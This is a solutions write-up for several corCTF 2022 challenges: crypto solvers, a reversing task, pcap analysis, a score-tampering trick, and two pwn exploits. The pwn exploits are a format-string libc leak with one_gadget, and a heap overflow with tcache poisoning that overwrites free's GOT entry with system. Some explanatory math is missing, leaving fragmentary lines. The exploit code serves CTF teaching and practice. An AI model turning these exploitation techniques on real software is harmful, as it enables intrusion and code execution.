corctf2022 wp
I've gone through all the simple problems in every direction.
Of course, this approach won't work.
Tadpole
Problem Statement:
from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow
p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)
a = randbelow(p)
b = randbelow(p)
def f(s):
return (a * s + b) % p
print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))
Subtracting the two equations:
The difference between the left and right sides is a multiple of p. Factorize the prime factors (in fact, it is a prime number).
luckyguess
#!/usr/local/bin/python
from random import getrandbits
p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)
try:
x = int(input("enter your starting point: "))
y = int(input("alright, what's your guess? "))
except:
print("?")
exit(-1)
r = getrandbits(20)
for _ in range(r):
x = (x * a + b) % p
if x == y:
print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
print("sorry, you are not a true psychic... better luck next time")
Use a fixed point to construct
Thus,
gmpy2.invert
.
exchanged
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow
p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)
print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)
a_priv = randbelow(p)
b_priv = randbelow(p)
def f(s):
return (a * s + b) % p
def mult(s, n):
for _ in range(n):
s = f(s)
return s
A = mult(s, a_priv)
B = mult(s, b_priv)
print("A =", A)
print("B =", B)
shared = mult(A, b_priv)
assert mult(B, a_priv) == shared
flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())
(The following equalities are assumed modulo
Expanding mult
yields:
By deriving the expressions, we obtain:
Subtracting B with a misalignment gives:
Thus,
Note: Both the key and IV in AES CBC mode are in big-endian order.
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow
from gmpy2 import *
p = ...
a = ...
b = ...
s = ...
A = ...
B = ...
iv = 0xe0364f9f55fc27fc46f3ab1dc9db48fa
enc = 0x482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e
iv = iv.to_bytes(16, 'big')
enc = enc.to_bytes(64, 'big')
a_y = (B*(a-1)+b) * invert((b+a*s-s), p) % p
shared = (a_y*A+B+(p-a_y)*s) % p
key = sha256(long_to_bytes(shared)).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plain = cipher.decrypt(enc)
print(plain)
Microsoft ❤️ Linux
For the first part, load the 32-bit ELF format directly into IDA, and apply ror 13
to the specified range of bytes. (This is essentially equivalent to ror 5
.)
For the second part, open the file in IDA using binary mode, select 16-bit, and you'll notice it contains DOS instructions. The encryption method is xor 13
, with a length of 18. However, the encrypted range seems a bit off.
The ciphertext can only exist between 0x210 and 0x233. After XORing the entire range with 13, the last 18 bytes resemble the flag. Simply concatenate them with the previous part.
Whack-a-Frog
Obtained a pcap file and found many GET requests upon inspection.
First, extract these GET requests:
cat whacking-the-froggers.pcap | grep -a 'anticheat?x=' > in
These requests contain x and y coordinates. Use regular expressions to extract them:
from pwn import *
import re
io = open('in', 'rb')
out = open('out', 'w')
x = []
y = []
for i in range(10000):
get = io.readline()
if len(re.findall(rb'x=\d+', get)) > 0:
print(int(re.findall(rb'x=\d+', get)[0][2:]),
int(re.findall(rb'y=\d+', get)[0][2:]), file=out)
Then, use C code to convert the data into ASCII art. Note that the x and y coordinates were initially swapped:
#include <stdio.h>
#include <stdlib.h>
int mp[600][600];
int main()
{
freopen("out", "r", stdin);
freopen("flag", "w", stdout);
int x, y;
for (int i = 0; i < 2204; i++)
{
scanf("%d %d", &x, &y);
// mp[x][y] = 1;
mp[y][x] = 1;
}
for (int i = 0; i < 600; i++)
{
for (int j = 0; j < 600; j++)
if (mp[i][j])
printf("0");
else
printf(" ");
printf("\n");
}
return 0;
}
View the output in gedit with a reduced font size. The strokes roughly form the correct pattern, confirming that it should be the flag.
jsonquiz
Simply intercept the final score submission packet and change score=0
to score=100
.
babypwn
$ one_gadget /usr/lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
Stack is not protected, use format string to leak libc. Since both r12 and r15 are on the stack, finally replace the buffer with a fully zeroed memory address, then use one_gadget
directly.
def exploit():
io.sendline('%7$p')
io.recvuntil('Hi, ')
libc_base = int(io.recv(14), 16) - 0x6bc0 - (0x9c000 - 0xa4000) # 0x6bc0 is from IDA func _$LT$str$u20$as$u20$core..fmt..Display$GT$::fmt::he0adfaca1b7317bf which is in main, and the latter offset is from debugging
zero = libc_base + 8
one_gadget = 0xe3afe
payload = p64(zero)*12 + p64(libc_base+one_gadget)
io.sendline(payload)
cshell2 (Post-competition writeup)
Heap overflow + tcache poisoning in libc 2.36. Since the security mechanisms in libc 2.36 are almost identical to 2.35, I used a local 2.35 environment for testing.
The I/O handling was really tricky.
# all io.sendline() or the stream will stuck
def decrypt_pointer(leak: int) -> int:
parts = []
parts.append((leak >> 36) << 36)
parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24)
parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)
return parts[0] | parts[1] | parts[2]
def exploit():
# leak libc
add(0, 1032, '//bin/sh\0', '', '', 0, '')
add(1, 1032, '', '', '', 0, '')
for i in range(2, 11):
add(i, 1032, '', '', '', 0, '')
for i in range(2, 9):
dele(i)
dele(1) # unsortedbin
edit(0, '', '', '', 0, b'a'*(1032-64+7)) # last byte is for '\n'
show(0)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena'] - 0x60
# 0x1f2ce0 in glibc-2.35
log.success('libc_base: ' + hex(libc_base))
# leak heap
add(11, 1032, '', '', '', 0, '') #8
dele(9)
edit(11, '', '', '', 0, b'b'*(1032-64)+b'abcdefg')
show(11)
io.recvuntil('abcdefg\n')
heap_base = decrypt_pointer(u64(io.recvuntil(b'1 Add\n')[:-6].ljust(8, b'\x00'))) - 0x1000
log.success('heap_base: ' + hex(heap_base))
# getshell
fake_chunk = b'c'*(1032-64)+p64(0x411)+p64(((heap_base+0x2730)>>12)^0x404010) # buf overflow, make the chunk aligned to 16 bytes
edit(11, '', '', '', 0, fake_chunk)
add(12, 1032, '', '', '', 0, '') # nothing
io.sendline('1') # 0x2730 = 0x250 + 0x410*9 + 0x10 + 0x40
io.sendline('13')
io.sendline('1032')
io.send('n1rvana') # since we make the chunk at 0x401010, it's null and we can fill anything
io.send(p64(libc_base+libc.sym['system'])) # where the free.got is
io.send(p64(libc_base+libc.sym['puts'])) # keeping the same
io.sendline('0')
io.send(p64(libc_base+libc.sym['scanf'])) # keeping the same
dele(0)